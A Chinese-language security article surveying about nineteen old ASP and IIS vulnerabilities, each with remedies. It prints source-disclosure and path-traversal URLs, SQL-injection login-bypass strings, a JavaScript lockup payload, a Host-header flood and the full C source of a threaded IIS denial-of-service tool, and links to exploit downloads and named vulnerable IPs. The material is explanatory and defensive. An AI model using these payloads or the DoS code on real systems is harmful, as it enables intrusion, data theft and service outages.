最近发现有些站点疯狂转载本站以前的文章，连出处也不注明，确实过分了点，为了作者和我们网站的权益，请您收敛些！--wuhanman
一 前言
Microsoft Active Server Pages（ASP）是服务器端脚本编写环境，使用它可以创建和运行动态、交互的 Web服务器应用程序。使用 ASP 可以组合 HTML 页 、脚本命令和 ActiveX 组件以创建交互的 Web 页和基于 Web的功能强大的应用程序。
现在很多网站特别是电子商务方面的网站，在前台上大都用ASP来实现。以至于现在ASP在网站应用上很普遍。
ASP是开发网站应用的快速工具，但是有些网站管理员只看到ASP的快速开发能力，却忽视了ASP安全问题。ASP从一开始就一直受到众多漏洞，后门的困扰，包括%81的噩梦，密码验证问题，IIS漏洞等等都一直使ASP网站开发人员心惊胆跳。
本文试图从开放了ASP服务的操作系统漏洞和ASP程序本身漏洞，阐述ASP安全问题，并给出解决方法或者建议。
二 关键字
ASP，网络安全，IIS，SSL，加密。
三 ASP工作机理
Active Server Page技术为应用开发商提供了基于脚本的直观、快速、高效的应用开发手段，极大地提高了开发的效果。在讨论ASP的安全性问题之前，让我们来看看ASP是怎么工作的。ASP脚本是采用明文（plaintext）方式来编写的。
ASP脚本是一系列按特定语法（目前支持vbscript和jscript两种脚本语言）编写的，与标准HTML页面混合在一起的脚本所构成的文本格式的文件。当客户端的最终用户用WEB浏览器通过INTERNET来访问基于ASP脚本的应用时，WEB浏览器将向WEB服务器发出HTTP请求。WEB服务器分析、判断出该请求是ASP脚本的应用后，自动通过ISAPI接口调用ASP脚本的解释运行引擎（ASP.DLL）。ASP.DLL将从文件系统或内部缓冲区获取指定的ASP脚本文件，接着就进行语法分析并解释执行。最终的处理结果将形成HTML格式的内容，通过WEB服务器"原路"返回给WEB浏览器，由WEB浏览器在客户端形成最终的结果呈现。这样就完成了一次完整的ASP脚本调用。若干个有机的ASP脚本调用就组成了一个完整的ASP脚本应用。
让我们来看看运行ASP所需的环境：
Microsoft Internet Information Server 3.0/4.0/5.0 on NT Server
Microsoft Internet Information Server 3.0/4.0/5.0 on Win2000
Microsoft Person Web Server on Windows 95/98
WINDOWS NT Option Pack所带的Microsoft
IIS提供了强大的功能，但是IIS在网络安全方面却是比较危险的。因为很少有人会用Windows 95/98当服务器，因此本文我更多的从NT中的IIS安全问题来探讨。
四 微软自称的ASP的安全优点
虽然我们本文的重点是探讨ASP漏洞和后门，但是有必要谈谈ASP在网络安全方面的"优点"，之所以加个""，是因为有时这些微软宣称的"优点"恰恰是其安全隐犯。
微软称ASP在网络安全方面一大优点就是用户不能看到ASP的源程序，从ASP的原理上看，ASP在服务端执行并解释成标准的HTML语句，再传送给客户端浏览器。"屏蔽"源程序能很好的维护ASP开发人员的版权，试想你辛辛苦苦做了一个很优秀的程序，给人任意COPY，你会怎么想？而且黑客还能分析你的ASP程序，挑出漏洞。更重要的是有些ASP开发者喜欢把密码，有特权的用户名和路径直接写在程序中，这样别人通过猜密码，猜路径，很容易找到攻击系统的"入口"。但是目前已经发现了很多能查看ASP源程序的漏洞，后面我们还要讨论。
IIS支持虚拟目录，通过在"服务器属性"对话框中的"目录"标签可以管理虚拟目录。建立虚拟目录对于管理WEB站点具有非常重要的意义。虚拟目录隐藏了有关站点目录结构的重要信息。因为在浏览器中，客户通过选择"查看源代码"，很容易就能获取页面的文件路径信息，如果在WEB页中使用物理路径，将暴露有关站点目录的重要信息，这容易导致系统受到攻击。其次，只要两台机器具有相同的虚拟目录，你就可以在不对页面代码做任何改动的情况下，将WEB页面从一台机器上移到另一台机器。还有就是，当你将WEB页面放置于虚拟目录下后，你可以对目录设置不同的属性，如：Read、Excute、Script。读访问表示将目录内容从IIS传递到浏览器。而执行访问则可以使在该目录内执行可执行的文件。当你需要使用ASP时，就必须将你存放.asp文件的目录设置为"Excute（执行）"。建议大家在设置WEB站点时，将HTML文件同ASP文件分开放置在不同的目录下，然后将HTML子目录设置为"读"，将ASP子目录设置为"执行"，这不仅方便了对WEB的管理，而且最重要的提高了ASP程序的安全性，防止了程序内容被客户所访问。
五 ASP漏洞分析和解决方法
有人说一台不和外面联系的电脑是最安全的电脑，一个关闭所有端口，不提供任何服务的电脑也是最安全的。黑客经常利用我们所开放的端口实施攻击，这些攻击最常见的是DDOS（拒绝服务攻击）.下面我会列出ASP的二十几个漏洞，每个漏洞都会有漏洞描述和解决方法。
1 在ASP程序后加个特殊符号，能看到ASP源程序
  受影响的版本：
    win95+pws
    IIS3.0
    98+pws4 不存在这个漏洞。
    IIS4.0以上的版本也不存在这个漏洞。
    问题描述：
    这些特殊符号包括小数点，%81, ::$DATA。比如：
http://someurl/somepage.asp.
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e
http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini（可以看到boot.ini的文件内容）
那么在安装有IIS3.0和win95+PWS的浏览中就很容易看到somepage.asp的源程序。究竟是什么原因造成了这种可怕的漏洞呢？究其根源其实是Windows NT 特有的文件系统在做怪。有一点常识的人都知道在 NT 提供了一种完全不同于 FAT的文件系统：NTFS，这种被称之为新技术文件系统的技术使得 NT具有了较高的安全机制，但也正是因为它而产生了不少令人头痛的隐患。大家可能不知道， NTFS 支持包含在一个文件中的多数据流，而这个包含了所有内容的主数据流被称之为"DATA"，因此使得在浏览器 里直接访问 NTFS系统的这个特性而轻易的捕获在文件中的脚本程序成为了可能。然而 直接导致 ::$DATA 的原因是由于 IIS在解析文件名的时候出了问题，它没有很好地规范文件名。
解决方法和建议：
如果是Winodws NT用户，安装IIS4.0或者IIS5.0，Windows2000不存在这个问题。如果是win95用户，安装WIN98和PWS4.0。
2 ACCESS mdb 数据库有可能被下载的漏洞
问题描述：在用ACCESS做后台数据库时，如果有人通过各种方法知道或者猜到了服务器的ACCESS数据库的路径和数据库名称，那么他能够下载这个ACCESS数据库文件，这是非常危险的。比如：如果你把ACCESS数据库book.mdb放在虚拟目录下的database目录下，那么有人在浏览器中打入：
http:// someurl/database/book.mdb
如果你的book.mdb数据库没有事先加密的话，那book.mdb中所有重要的数据都掌握在别人的手中。
解决方法：
(1) 为你的数据库文件名称起个复杂的非常规的名字，并把他放在几目录下。所谓"非常规"，打个比方：比如有个数据库要保存的是有关书籍的信息，可不要把他起个"book.mdb"的名字，起个怪怪的名称，比如d34ksfslf.mdb，再把他放在如./kdslf/i44/studi/的几层目录下，这样黑客要想通过猜的方式得到你的ACCESS数据库文件就难上加难了。
(2)不要把数据库名写在程序中。有些人喜欢把DSN写在程序中，比如：
DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
假如万一给人拿到了源程序，你的ACCESS数据库的名字就一览无余。因此建议你在ODBC里设置数据源，再在程序中这样写：
conn.open "shujiyuan"
(3)使用ACCESS来为数据库文件编码及加密。首先在选取"工具->安全->加密/解密数据库，选取数据库（如：employer.mdb），然后接确定，接着会出现"数据库加密后另存为"的窗口，存为：employer1.mdb。接着employer.mdb就会被编码，然后存为employer1.mdb..
要注意的是，以上的动作并不是对数据库设置密码，而只是对数据库文件加以编码，目的是为了防止他人使用别的工具来查看数据库文件的内容。接下来我们为数据库加密，首先以打开经过编码了的employer1.mdb，在打开时，选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码"，接着输入密码即可。
为employer1.mdb设置密码之后，接下来如果再使用ACCEES数据库文件时，则ACCESS会先要求输入密码，验证正确后才能够启动数据库。
不过要在ASP程序中的connection对象的open方法中增加PWD的参数即可，例如：
param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs"
param=param&";dbq="&server.mappath("employer1.mdb")
conn.open param
这样即使他人得到了employer1.mdb文件，没有密码他是无法看到employer1.mdb的。
3 code.asp文件会泄漏ASP代码
问题描述：
举个很简单的例子，在微软提供的 ASP1.0 的例程里有一个 .asp 文件，专门用来查看其它 .asp 文件的源代码，该文件为ASPSamp/Samples/code.asp。如果有人把这个程序上传到服务器，而服务器端没有任何防范措施的话，他就可以很容易地查看他人的程序。例如：code.asp?source=/directory/file.asp
不过这是个比较旧的漏洞了，相信现在很少会出现这种漏洞。
下面这命令是比较新的：
http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp
最大的危害莫过于asa文件可以被上述方式读出；数据库密码以明文形式暴露在黑客眼前;
问题解决或建议：
对于IIS自带的show asp code的asp程序文件，删除该文件或者禁止访问该目录即可
4、filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞
问题描述：
IIS3、 IIS4 的 ASP 的文件操作都可以通过 filesystemobject实现，包括文本文件的读写目录操作、文件的拷贝改名删除等，但是这个强大的功能也留下了非常危险的 "后门"。利用filesystemobjet 可以篡改下载 fat 分区上的任何文件。即使是 ntfs分区，如果权限没有设定好的话，同样也能破坏，一不小心你就可能遭受"灭顶之灾 "。遗憾的是很多 webmaster 只知道让 web服务器运行起来，很少对 ntfs 进行权限 设置，而 NT 目录权限的默认设置偏偏安全性又低得可怕。因此，如果你是Webmaster，建议你密切关注服务器的设置，尽量将 web 目录建在 ntfs 分区上，目录不要设定 everyone full control，即使是是管理员组的成员一般也没什么必要 full control，只要有读取、更改权限就足够了。也可以把filesystemobject的组件删除或者改名。
5、输入标准的HTML语句或者javascript语句会改变输出结果
问题描述：
在输入框中打入标准的HTML语句会得到什么相的结果呢？
比如一个留言本，我们留言内容中打入：
<font size=10>你好！</font>
  如果你的ASP程序中没有屏蔽html语句，那么就会改变"你好"字体的大小。在留言本中改变字体大小和贴图有时并不是什么坏事，反而可以使留言本生动。但是如果?入框中写个 javascript 的死循环，比如：<a herf="http://someurl" onMouseover="while(1){window.close(/)}">特大新闻</a>
那么其他查看该留言的客人只要移动鼠标到"特大新闻"，上就会使用户的浏览器因死循环而死掉。
解决方法和建议：
编写类似程序时应该做好对此类操作的防范，譬如可以写一段程序判断客户端的输入，并屏蔽掉所有的 HTML、 Javascript 语句。
6、ASP程序密码验证漏洞
漏洞描述：
很多网站把密码放到数据库中，在登陆验证中用以下sql,(以asp为例）
sql="select * from user where username="&username&"and pass="& pass &"
此时，您只要根据sql构造一个特殊的用户名和密码，如：ben or 1=1就可以进入本来你没有特权的页面。再来看看上面那个语句吧：
sql="select * from user where username="&username&"and pass="&pass&"
此时，您只要根据sql构造一个特殊的用户名和密码，如：ben or 1=1这样,程序将会变成这样: sql="select*from username where username="&benor1=1&"and pass="&pass&" or是一个逻辑运算符,作用是在判断两个条件的时候,只要其中一个条件成立,那么等式将会成立.而在语言中,是以1来代表真的(成立).那么在这行语句中,原语句的"and"验证将不再继续,而因为"1=1"和"or"令语句返回为真值.。
另外我们也可以构造以下的用户名：
username=aa or username<>aa
pass=aa or pass<>aa
相应的在浏览器端的用户名框内写入：aa or username<>aa 口令框内写入：aa or pass<>aa,注意这两个字符串两头是没有的。这样就可以成功的骗过系统而进入。
后一种方法理论虽然如此，但要实践是非常困难的，下面两个条件都必须具备。
1.你首先要能够准确的知道系统在表中是用哪两个字段存储用户名和口令的，只有这样你才能准确的构造出这个进攻性的字符串。实际上这是很难猜中的。
2.系统对你输入的字符串不进行有效性检查。
问题解决和建议：
对输入的内容验证和""号的处理。
7、IIS4或者IIS5中安装有INDEX SERVER服务会漏洞ASP源程序
问题描述：
在运行IIS4或者IIS5的Index Server，输入特殊的字符格式可以看到ASP源程序或者其它页面的程序。甚至以及添打了最近关于参看源代码的补丁程序的系统，或者没有.htw文件的系统，一样存在该问题。获得asp程序，甚至global.asa文件的源代码，无疑对系统是一个非常重大的安全隐患。往往这些代码中包含了用户密码和ID，以及数据库的源路径和名称等等。这对于攻击者收集系统信息，进行下一步的入侵都是非常重?
通过构建下面的特殊程序可以参看该程序源代码：
http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
这样只是返回一些html格式的文件代码，但是当你添加%20到CiWebHitsFile的参数后面，如下:
http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full这将获得该程序的源代码。（注意：/default.asp是以web的根开始计算。如某站点的http:///welcome/welcome.asp
那么对应就是：
http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full)
由于null.htw文件并非真正的系统映射文件，所以只是一个储存在系统内存中的虚拟文件。哪怕你已经从你的系统中删除了所有的真实的.htw文件，但是由于对null.htw文件的请求默认是由webhits.dll来处理。所以，IIS仍然收到该漏洞的威胁。
问题解决或者建议：
如果该webhits提供的功能是系统必须的，请下载相应的补丁程序。如果没必要，请用IIS的MMC管理工具简单移除.htw的映象文件。
补丁程序如下：
Index Server 2.0:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
8、ASP聊天室程序的漏洞
问题描述：
如果聊天室ASP程序设计不当，很容易会给他人利用来做坏事:可以踢人，穿墙，捣乱.
首先，我们看看聊天室里有什么漏洞，大家看看下面这段代码：
<html>
<head>
<body BGCOLOR="008888" TEXT="FFFFFF">
…………………………
………………
………
<form NAME="sendmsg" ACTION="chatt.asp" METHOD="POST"
target="mtalk1"
OnSubmit="return chksend();">
<input type="hidden" name="username" value="测试者">******
<input type="hidden" name="sex" value="boy">********
<input type="hidden" name="message" value="">
<input type="hidden" name="a_method" value="sendtalk">
<div align="center"><center>
<table CELLSPACING="0" CELLPADDING="0"> <tr>
<td>发言: <input type="text" name="msg" size="60"> </td>
<td><input type="submit" value="发 言"> </td>
</tr>
<tr>
<td>悄悄:<input type=checkbox name=mtalk value=1>
对象:<input type="text" name="betalk" size="10">
表情:<select NAME="exp" onChange="document.sendmsg.msg.focus();document.sendmsg.msg.select();" size="1">
………
……………
……………………
</form>
<form name="getout" ACTION="chatt.pl" METHOD="POST">
<input type="hidden" name="username" value="测试者">!!!!!!
<input type="hidden" name="a_method" value="getout">!!!!
<input type="submit" value="退 出"></td>
</form>
</body>
</html>
  以上这段代码是我在某个聊天室用"测试者"作代号登陆后在发言帧当下来的， 这只是一小部份，? 这一小部份代码里面就有两个漏洞。
第一个漏洞：大家看看上面的代码加上"*"号的那两句，其中第一句中的"测试者"就是我登陆的名字，还有，第二句中的"boy"是登陆时的性别，还有再看看下面我加上"!"号的两句，第一句里还是有我登陆时的名字，这几句都是我现在想说的两个漏洞所在点。如果想在这个聊天室里穿墙的话，只要把发言帧的代码当下来另存，把"form"的"action"改成聊天室的地址，然后把再"*"号的第一句的"测试者"两字改成想要的名字就可以了。也可以变换性别，只要把第二句的 "boy"改成"girl"。这就是所谓的穿墙术了。你甚至可以把它改成在线人的名字，然后发言，这样就冒充别人的姓名谈话。
第二个漏洞：踢人的漏洞就是这个了，我们看一下带"!"号的第一句，上面有是合法用户登陆的名字，再看第二句，他有"getout"，再加上上面还有一段"form"标签，这段就是我们退出聊天室时的代码，这个有什么用呢？我们先试试看，首先还是把"form"标签的"action"改成 聊天室的地址，不然就不知道提交给哪个家伙了。然后把"风风"改成你想踢下去的人的名字然后单击"退出"，那就把那个人踢出聊天室了。这个就是聊天室踢人的漏洞。
这两个漏洞主要的原因是这两个漏洞使服务程序不识别客户发出的指令是不是合法用户。以上两漏骗服务程序来更名发出发言，或更名退出，使得真正的使用者受害。
当然上面的程序中还有一个漏洞，输入框没有对HTML语句和JAVASCRIPT语句做过滤。这个问题我们在漏洞5中已有详细分析，这里就不谈了。
问题解决或者建议：
在程序设计中让服务程序能识别到底是哪个家伙发出的指令就可以了，具体做法可以为每个聊天者发一个识别码，象五笔字一样，也可以用每个聊天者的密码识别，也可以把聊天者的密码随机加密后用作识别等等，反正能使你的服务程序识别到底是谁发出的指令就可以了。
9、NT iss4.0_AuthChangeUrl? 漏洞
问题描述：在NT iis4.0，当输入如下命令时
http://someurl/_AuthChangeUrl?<font%20size=7%20color=red>你好 你看到发生了什么吗？<font size=7 color=red>被解释成功，出现了红色的放大的"你好"字
我们再来看看以下的命令： http://someurl/_AuthChangeUrl?<img%20src=file:\\\c:\1.jpg>
上面的命令将显示c:根目录下的1.jpg图片，如果1.jpg存在的话。http://someurl/_AuthChangeUrl?<a%20href=file:///c:/install.exe>上面的命令将下载C:根目录下的install.exe文件。
按照这种方法还能打开对方服务器上一个已经知道的文本文件。
10、微软开发的两个动态库存在后门允许用户查看ASP文件源程序和下载整个网站
问题描述：随IIS和Frontpage Extention server而来的动态库程序，存在后门，允许用户远程读取asp、asa和CGI程序的源代码。但这个动态库要求有密码，这个后门的密码是： "Netscape engineers are weenies!"程序路径为： /_vti_bin/_vti_aut/dvwssr.dll一般安装了 Frontpage98的 IIS服务器都有这个路径和文件。这个程序要求解码后才能发挥读取asp等源程序，有趣的是，这个密码正是嘲弄其竞争对手Netscape的。
现提供一个有该漏洞的国外网站给安全技术人员参考：
http://62.236.90.195
关于读取源程序，请下载这个测试程序，用法为: [john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp
测试程序： http://www.cnns.net/exploits/nt/dvwssr1.pl
11、漏洞名称：IIS4.0受HTTP的D.O.S攻击漏洞
问题描述：
    受影响的版本：IIS 4.0以及更早的版本
    这是一个很简单的方法.发送很多的"Host:aaaaa...aa"到IIS：
GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
发送了象上面所写的两次请求后，对方的IIS在接受了这些请求后就会导致内存溢出.当然，它就芏愿?嗟那肭笞鞒龇从ΑＲ蛭?苑秸?狈π槟饽诖妫??衿饕步?Ｖ乖诵小Ｊ潞螅?苑讲荒芡¨?仄?eb service来解决问题，而必须重启服务器。
12 漏洞名称：IIS5.0超长URL拒绝服务漏洞
问题描述： Microsoft IIS 5.0在处理以".ida"为扩展名的URL请求时，它会有两种结果。一个可能的结果是服务器回复"URLString too long"的信息；或类似"Cannot find the specified path"的信息。另一种可能就是服务器端服务停止，并返回"Access Violation"信息(即成功的实现了对服务器端的拒绝服务攻击)
当远端攻击者发出类似如下的请求时： http://someurl/...[25kb of .]...ida服务器端会崩溃(导致拒绝服务攻击)或返回该文件不在当前路径的信息(暴露文件物理地址)
问题解决或者建议：大多数情况下，站点很少使用扩展名为".ida"和".idq"的文件，可在ISAPI脚本映射中，将扩展名为".ida"和".idq"的应用程序映射删除。
13 请求不存在的扩展名为idq或ida 文件，会暴露服务器上得物理地址.
问题描述：通过请求一个不存在的扩展名为idq或ida得文件，IIS会暴露文件在服务器上得物理地址.这样会给攻击者提供了不必要的信息，而且，这对攻击一个Web站点来说，是很有价值的第一步。
测试程序：通过请求如：
http://someurl/anything.ida
http://someurl/lunwen/anything.ida或:
http://someurl/anything.idq
一个远端用户可以收到类似：The IDQ d:\http\anything.idq could not be found的响应。这样的一个响应就会让攻击者获得了Web站点的物理路径，并且还可以获得更多的有关该站点在服务器上的组织与结构。
14、NT Index Server存在返回上级目录的漏洞
问题描述：受影响的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0]
Index Sserver2.0是WinNT4.0 Option Pack中附带的一个软件的工具,其中的功能已经被WinNT 2000中的Indexing Services所包含。当与IIS结合使用时,Index Server和Indexing Services便可以在最初的环境来浏览Web Search的结果,它将生成一个HTML文件,其中包含了查找后所返回页面内容的简短引用,并将其连接至所返回的页面[即符合查询内容的页面],也就是超级连接。要做到这一点,它便需要支持由webhits.dll-ISAPI程序处理的.htw文件类型。这个dll允许在一个模版中使用"../"用做返回上级目录的字符串.这样,了解服务器文件结构的攻击者便可以远程的阅读该机器上的任意文件了。
漏洞的利用: 1)您的系统中存在.htw文件Index Server提供的这种超级连接允许Web用户获得一个关于他搜寻结果的返回页,这个页面的名字是与CiWebHits File变量一起通过.htw文件的,webhits.dll这个ISAPI程序将处理这个请求,对其进行超级连接并返回该页面。因此用户便可以控制通过.htw文件的CiWebHits变量,请求到任何所希望获得的信息。另外存在的一个问题便是ASP或其他脚本文件的源代码也可以利用该方法来获得。
上面我们说过webhits.dll后接上"../"便可以访问到Web虚拟目录外的文件,下面我们来看个例子:
http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../ winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
在浏览器中输入该地址,便可以获得该服务器上给定日期的Web日志文件.在系统常见的.htw样本文件有:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.hw
/iishelp/iis/misc/iirturnh.htw [这个文件通常受loopback限制]
2)您的系统中不存在.htw文件调用一个webhits.dll ISAPI程序需要通过.htw文件来完成,如果您的系统中不存在.htw文件,虽然请求一个不存在的.htw文件将失败,但是您的仍然存在可被利用的漏洞。其中的窍门便是利用inetinfo.exe来调用webhits.dll,这样同样能访问到Web虚拟目录外的文件。但我们需要通过制作一个的特殊的URL来完寐┒吹睦?谩Ｊ紫任颐切枰?桓鲇行У奈募?试?这个文件必须是一个静态的文件,如".htm",".html",".txt"或者".gif",".jpg"。这些文件将用作模版来被webhits.dll打开。现在我们需要获得inetinfo.exe来利用webhits.dll,唯一可以做到这点的便是请求一个.htw文件:
http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
很明显,这个请求肯定会失败,因为系统上不存在这个文件。但请注意,我们现在已经调用到了webhits.dll,我们只要在一个存在的文件资源后面[也就是在.htw前面]加上一串特殊的数字(%20s),[就是在例子中default.htm后面加上这个代表空格的特殊数字],这样我们便可以欺骗过web服务器从而达到我们的目的.由于在缓冲部分中.htw文件名字部分被删除掉[由于%20s这个符号],所以,当请求传送到webhits.dll的时候,便可以成功的打开该文件,并返回给客户端,而且过程中并不要求系统中真的存在.htw文件。
问题解决和建议：微软已经对该问题发放了补丁:
Index Server 2.0:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Windows 2000 Indexing Services:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
15绕过验证直接进入ASP页面。
漏洞描述：如果用户知道了一个ASP页面的路径和文件名，而这个文件又是要经过验证才能进去的，但是用户直接输入这个ASP页面的文件名，就有可能通过绕过验证.比如：我在一些网站上这样试过：首先关闭所有的浏览器，窗口，输入：
http://someurl/system_search.asp?page=1就样就看到了只能系统员才能看到的页面。当然有些人为了防止这种情况也会在system_search.asp的开头加个判断，比如：判断session("system_name"),如果不为空时就能进入，这样上面的url请求就不能直接进入管理员页面了。但是这种方法也有一个漏洞，如果攻击者先用一个合法的帐号，或者在本机上生成一个session,如session("system_name")="admi"，那因为session("system_name")不为空，这样也能直接进入绕过密码，直接进入管理员页面。
解决方法：在需要验证的ASP页面开头处进行相应的处理。比如：可跟踪上一个页面的文件名，只有从上一页面转进来的会话才能读取这个页面。
16、IIS4.0/5.0特殊数据格式的URL请求远程DOS攻击
漏洞描述:
当在安装有有IIS4.0或者IIS5.0的web服务上,请求一个具有特殊数据格式的URL,会拖慢受攻击web服务器的响应速度,或许会使其暂时停止响应。
受影响的版本：
MicrosoftInternetInformationServer4.0
MicrosoftInternetInformationServer5.0
漏洞测试程序如下：
http://202.96.168.51/download/exploits/iisdos.exe
    源代码如下：
http://202.96.168.51/download/exploits/iisdos.zip
    测试程序：
    只要打入:iisdos<***.***.**.**>就能攻击对方web服务器
  问题解决：
InternetInformationServer4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
InternetInformationServer5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
    更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft安全公告MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
    相关连接
http://www.ussrback.com
17 IIS web server DOS
漏洞描述：默认情况下，IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer"的键未被创建，针对这种NT系统的攻击通常能奏效。 "MaxClientRequestBuffer"这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer" 设置为256(bytes)，则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制，因此，利用下面的程序。可以很容易地对IIS server实行DOS攻击：
#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Wont exit correctly and a
lot
of other fun things.
//That I didnt want to take the time to do. So just ctrl+c out of
the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, A, strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}
counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
wh (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}
void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}
cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]
Where:
[return] is just an \r\n
[buffer] is a never ending stream of As
攻击结果将导致NT系统的CPU占用率达到 100%
解决方案
运行Regedt32.exe在：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters增加一个值：
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
设置为十进制具体数值设置为你想设定的IIS允许接受的URL最大长度。
CNNS的设置为256
18、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击
漏 洞 描 述:
Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。
如果不取消连接而直接和第二个数据库相连接，可能导致服务停止。
影响系统:
ODBC 版本: 3.510.3711.0
ODBC Access驱动版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞检测方法如下:
ODBC 连接源名称: miscdb
ODBC 数据库型号: MS Access
ODBC 假设路径: d:\data\misc.mdb
ASP代码如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
Note we DO close t connection
%>
在这种情况下，IIS处理进程将会停顿，CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。
19、ASP主页.inc文件泄露问题
漏洞描述：
受影响的版本:任何提供ASP服务的系统远程:YES / 本地:YES
内容摘要:当存在asp的主页正在制作并没有进行最后调试完成以前，可以被某些搜索引擎机动追加为搜索对象，如果这时候有人利用搜索引擎对这些网页进行查找，会得到有关文件的定位，并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
具体操作过程是：
- 利用搜索引擎查找包含+"Microsoft VBScript 运行时刻错误执行搜索" +".inc ，" 的关键字
- 搜索引擎会自动查找包含asp的包含文件(.inc)并显示给用户
- 利用浏览器观看包含文件的源代码，其中可能会有某些敏感信息
漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
